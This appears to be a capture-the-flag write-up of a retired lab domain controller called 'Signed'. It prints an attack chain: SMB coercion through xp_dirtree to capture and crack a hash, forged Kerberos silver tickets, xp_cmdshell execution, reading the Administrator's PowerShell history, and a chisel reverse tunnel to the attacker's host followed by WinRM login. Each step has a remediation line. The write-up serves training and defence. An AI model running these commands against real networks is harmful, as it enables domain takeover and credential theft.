Signed
Summary
The engagement began from a provided low-privilege MSSQL account (scott) rather than an open port scan, reflecting an assumed-breach test of the Signed domain controller. That account could not run commands directly, but it could trigger an outbound SMB UNC-path lookup, which was used to coerce the SQL service account into authenticating to my own listener and leak its NetNTLMv2 hash. The hash cracked to a weak password, giving me the service account's NT hash.
Because the SQL Server 'IT' domain group was mapped to the sysadmin server role, that NT hash was enough to forge a Kerberos silver ticket carrying IT-group membership, granting full sysadmin rights on the database without ever touching a domain controller for AD authentication. From sysadmin, xp_cmdshell was re-enabled to get direct command execution as the service account, capturing user.txt. A second, higher-privileged forged ticket was then used to read the Administrator's plaintext PowerShell command history through SQL Server's file-read functionality, exposing the Administrator password in cleartext.
That password was used over a chisel SOCKS tunnel to authenticate to WinRM as Administrator, yielding full SYSTEM-level control of the domain controller and root.txt.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
echo "$TARGET signed.htb DC01.signed.htb" | sudo tee -a /etc/hostsimpacket-mssqlclient scott:'$PASSWORD2'@$TARGETExact commands 3
sudo responder -I tun0EXEC master..xp_dirtree "\\$INTERNAL_HOST\x",1,1;hashcat -m 5600 mssqlsvc_netntlmv2.txt rockyou.txtFixRestrict SMB coercion via xp_dirtree and require strong, managed service account passwordsHigh
Exact commands 5
SELECT SUSER_SID('SIGNED\IT');python3 -c "import hashlib,binascii; print(hashlib.new('md4','$PASSWORD3'.encode('utf-16le')).hexdigest())"impacket-ticketer -nthash $PASSWORD4 -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 500 Administratorexport KRB5CCNAME=Administrator.ccacheimpacket-mssqlclient -k -no-pass DC01.signed.htbFixRemove broad domain-group mappings to the SQL Server sysadmin roleCritical
Exact commands 3
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami';EXEC xp_cmdshell 'type C:\Users\mssqlsvc\Desktop\user.txt';FixKeep xp_cmdshell disabled and restrict who can re-enable itHigh
Exact commands 3
impacket-ticketer -nthash $PASSWORD4 -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -user-id 1103 -groups 512,1105 anythingexport KRB5CCNAME=anything.ccache && impacket-mssqlclient -k -no-pass DC01.signed.htbSELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS x;FixStop retaining plaintext credentials in PowerShell command historyMedium
Exact commands 4
EXEC xp_cmdshell "C:\Windows\Temp\chisel-x64.exe client $INTERNAL_HOST:18000 R:socks";proxychains evil-winrm -S -i DC01.signed.htb -u Administrator -p "$PASSWORD"whoamitype C:\Users\Administrator\Desktop\root.txtFixRestrict and tier WinRM administrative access to the domain controllerCritical
Exposed services
| 1433/tcp | ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM |